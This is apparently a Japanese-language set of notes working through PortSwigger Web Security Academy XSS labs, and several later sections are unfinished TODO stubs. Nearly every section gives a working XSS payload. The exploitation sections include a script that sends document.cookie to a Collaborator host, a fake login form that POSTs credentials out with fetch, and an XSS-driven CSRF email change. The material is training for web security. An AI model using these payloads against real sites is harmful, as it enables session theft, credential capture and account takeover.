# Web Security Academy XSS Writeup
[toc]
## Reflected XSS into HTML context with nothing encoded
Blogの検索機能に対して、`<script>alert(document.domain)</script>`で終わり。

## Stored XSS into HTML context with nothing encoded


## DOM XSS in document.write sink using source location.search
```javascript
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
```
search parameterのvalue部を取得し、`<img src`の一部とするもの。
`"><script>alert(document.domain)</script>`で終わり

## DOM XSS in innerHTML sink using source location.search
```javascript
<script>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
</script>
```
前回と特に変わりはないが、`innerHTML`を使っているためscript tagはだめ。
となると`<img src=x onerror=alert(document.domain)>`で終わり。

## DOM XSS in jQuery anchor href attribute sink using location.search source
```javascript
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>
```
returnPathパラメータの値を取得し、`<a id="backLink">Back</a>`のhrefに設定している。
`javascript:alert(document.domain)`をreturnPathのvalueにして`< Back`を押下すればよし。

## DOM XSS in jQuery selector sink using a hashchange event
```htmlembedded
<script>
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
</script>
```
自動スクロールしてくれるような感じ。
`#<img src=x onerror=alert(1)>`とするとpop upが出ることを確認できる。

これをexploit serverから行う必要があるため、
```htmlembedded
<iframe src="https://0a95001303ec40a880b8216a00060005.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
```
これで終わり。
## Reflected XSS into attribute with angle brackets HTML-encoded
`se0r12`と検索に打ち込むと
```htmlembedded!
<section class=blog-header>
<h1>0 search results for 'se0r12'</h1>
<hr>
</section>
<section class=search>
<form action=/ method=GET>
<input type=text placeholder='Search the blog...' name=search value="se0r12">
```
と、htmlのattribute内に反映していることがわかる。
`se0r12"hoge`とすると
```htmlembedded=
<input type=text placeholder='Search the blog...' name=search value="se0r12"hoge">
```
のようにいい感じである。
ただし、`><`はエスケープされてしまうので、
`se0r12"onmouseover="alert(1)`で良し。
```htmlembedded=
<input type=text placeholder='Search the blog...' name=search value="se0r12"onmouseover="alert(1)">
```
## Stored XSS into anchor href attribute with double quotes HTML-encoded

このようにして登録すると、
```htmlembedded=
<a id="author" href="sakr4">sakr2</a>
```
のように反映する。
`javascript:alert(1)`で良さそう。

## Reflected XSS into a JavaScript string with angle brackets HTML encoded
```htmlembedded=
<script>
var searchTerms = 'sakr';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```
script tagに反映するタイプ。
`sakr'hoge`をいれると、
```htmlembedded=
var searchTerms = 'sakr'hoge';
```
抜け出せている。
つまりこれで良し。
```htmlmixed!
sakr';alert(1);//
```
## DOM XSS in document.write sink using source location.search inside a select element
```htmlemmbeded=
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
```
storeを制御できたら良さそう。
storeはというと、`(new URLSearchParams(window.location.search)).get('storeId');`部分
location.searchからstoreIdパラメータの値を抜き出しているように見える。
試しに、以下の様にアクセスし、
`https://0a19002c04b3fd1d8033fdee002f0019.web-security-academy.net/product?productId=1&storeId=hoge`
`Console tab`で`(new URLSearchParams(window.location.search)).get('storeId'); `とうつと、`hoge`が返ってきた。

こうなれば勝利が確定しているも同然。
`<section>`内では`<img src=x onerror=alert(1)>`が発火しないので、そこだけ気をつけて。
`https://0a19002c04b3fd1d8033fdee002f0019.web-security-academy.net/product?productId=1&storeId=%3C/select%3E%3Cimg%20src=x%20onerror=alert(1)%3E`とすれば良し。

## DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
```htmlembedded!
{{$on.constructor('alert(1)')()}}
```
やるだけ。
## Reflected DOM XSS
`/resources/js/searchResults.js`
```javascript!
eval('var searchResultsObj = ' + this.responseText);
```
なるほど。
`/search-results?search=`の結果がいい感じに入る。
`search=sakr`とすると
```json=
{"results":[],"searchTerm":"sakr"}
```
`sakr\"}`すると、抜け出せている。
```jsonld
{"results":[],"searchTerm":"sakr\\"}"}
```
となると、以下で終わり。
```htmlembedded
sakr\"};alert(1);//
```

## Stored DOM XSS
コメントを投稿すると、以下のようになる。
```json=
{"avatar":"","website":"","date":"2024-02-01T08:53:09.804227160Z","body":"hoge","author":"hoge"}
```
`/resources/js/loadCommentsWithVulnerableEscapeHtml.js`が重要になりそうで、
このjsファイルの内部で気になるのはこれ。
```javascrpt
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
```
`<>`をエスケープするっぽい。
が、この書き方って、一回しかされないはずなので、
`<><img src=x onerror=alert(1)>`
で終わり。
## Reflected XSS into HTML context with most tags and attributes blocked
`sakr<x>`とすると
```htmlembedded
0 search results for 'sakr<x>
```
とエスケープされていないことがわかる。
ので、`<script>alert(1)</script>`とするが
```text
"Tag is not allowed"
```
tagの制限がある。
`body`タグは、今回制限を受けないのでこれを使う。
また、attributeに対しても制限が課せられているが、`onbeforeinput`, `onbeforetoggle`, `onratechange`, `onresize`, `onscrollend`は課せられていない。
つまり、`body`タグと、これらイベントでXSSを起こす必要がある。
この中だとonsizeが使えそう。
```htmlembedded
<body onresize>
```
でポップアップを確認しておく。

今回は、被害者を作らないといけないので、やる。
```htmlembedded
<iframe src="https://0a2e00420406c0e3857bad1600620078.web-security-academy.net/?search=<body onresize='print()'" onload="this.style.width='100px'">
```
## Reflected XSS into HTML context with all tags blocked except custom ones
[Reflected XSS into HTML context with most tags and attributes blocked](#Reflected-XSS-into-HTML-context-with-most-tags-and-attributes-blocked)と同じように、`script`タグだめだが、`x`タグのようなカスタムタグは許され、エスケープはされていない。
試しに、
```htmlembedded
<sakr id="x" onfocus="alert(document.domain)" tabindex=1>#x';
```
を使ってみると、ポップアップが確認できた。

```htmlembedded
<script>
location = 'https://0a4d002404e846a380dab26600900018.web-security-academy.net/?search=<sakr id="x" onfocus="alert(document.cookie)" tabindex=1>#x';
</script>
```
これで終わり。
## Reflected XSS with some SVG markup allowed
```htmlembedded
<script>alert(1)</script>
```
どうやらこれはTagが許可されていないみたい。
`animatetransform`, `image`, `svg`, `title`は許可されている。
これらを利用したペイロードがあるらしく以下を利用するとポップアップが確認できた。
```html!
<svg><animatetransform onbegin=alert(1) attributeName=transform>
```

## Reflected XSS in canonical link tag
```htmlembedded!
<link rel="canonical" href='https://0af6001a03cd733880ae5d95007e0020.web-security-academy.net/post?postId=2'/>
```
反映がだいぶ怪しい。
`&hoge='`としてアクセスすると
```htmlembedded!
<link rel="canonical" href='https://0af6001a03cd733880ae5d95007e0020.web-security-academy.net/post?postId=2&hoge=''/>
```
となる。
linkタグ内で抜けれない場合は、
```html!
'accesskey='x'onclick='alert(1)
```
を使う。
chromiumの`Alt+shift=x`で発火を確認できる。

## Reflected XSS into a JavaScript string with single quote and backslash escaped
`sakr`で検索すると、
```htmlembedded
<script>
var searchTerms = 'sakr';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```
以下で終わり。
`</script><script>alert(1)</script>`
## Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
`sakr\'hoge`で
```javascript
var searchTerms = 'sakr\\'hoge';
```
と抜けれているので、`\';alert(1);//`で終わり。
## Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
website部に`https://hoge.com`とすると
```htmlembedded
<a id="author" href="https://hoge.com" onclick="var tracker={track(){}};tracker.track('https://hoge.com');">
```
となっていることに気づける。
この時は、HTMLエンコードを利用してバイパスできる可能性があるので試す。
`'-alert(1)-'`

### Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
```javascript=
var message = `0 search results for 'sakr'`;
document.getElementById('searchMessage').innerText = message;
```
`${}`を使えば良い
`${alert(1)}`
## Exploiting cross-site scripting to steal cookies
XSSを見つける。

comment部が脆弱っぽい。
Burp Collaboratorのドメインを取得しておく。
```htmlembedded!
<script>
location = `http://(your collaborator domain)?${document.cookie}`
</script>
```
これで、sessionが送られてくるのでコピーして自身のセッションとして使うだけ。
## Exploiting cross-site scripting to capture passwords
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords
Blog投稿の際の`Content`にXSSがあるので、以下を打ち込めば良し。
```htmlembedded
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR-DOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```
これでadministratorが何故かユーザ名・パスワードを入力する
## Exploiting XSS to perform CSRF
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
`Update email`をする際のリクエストでは`csrf`というトークンは消すことができないため、XSSでcsrfトークンを取得する必要がある。
そのトークンを取得してCSRFでメールアドレスを変更する。
ということで以下でおわり。
```javascript=
<script>
fetch("/my-account").then(response => response.text()).then(result => {
const parser = new DOMParser();
const doc = parser.parseFromString(result, "text/html");
const csrfInput = doc.querySelector("input[name='csrf']");
const token = csrfInput ? csrfInput.value : null;
console.log(token);
fetch("/my-account/change-email", {
method: "POST",
headers: {
"Content-Type":"application/x-www-form-urlencoded"
},
body: `email=malicious@example.com&csrf=${token}`
})
});
</script>
```
## [TODO] Reflected XSS with AngularJS sandbox escape without strings
https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-without-strings
```html=
<script type="text/javascript" src="/resources/js/angular_1-4-4.js">
```
Response内に気になる表現が見えます。
```htmlembedded=
<section class=blog-header>
<script>angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '';
$scope.value = $parse(key)($scope.query);
});
</script>
<h1 ng-controller=vulnCtrl>10 search results for {{value}}</h1>
<hr>
</section>
```
`{{value}}`は、Anglularの式でしょうか。
## [TODO] Reflected XSS with AngularJS sandbox escape and CSP
https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-and-csp
## [TODO] https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked
## [TODO] Reflected XSS in a JavaScript URL with some characters blocked
https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked
## [TODO] Reflected XSS protected by very strict CSP, with dangling markup attack
https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack
## [TODO] Reflected XSS protected by CSP, with CSP bypass
https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass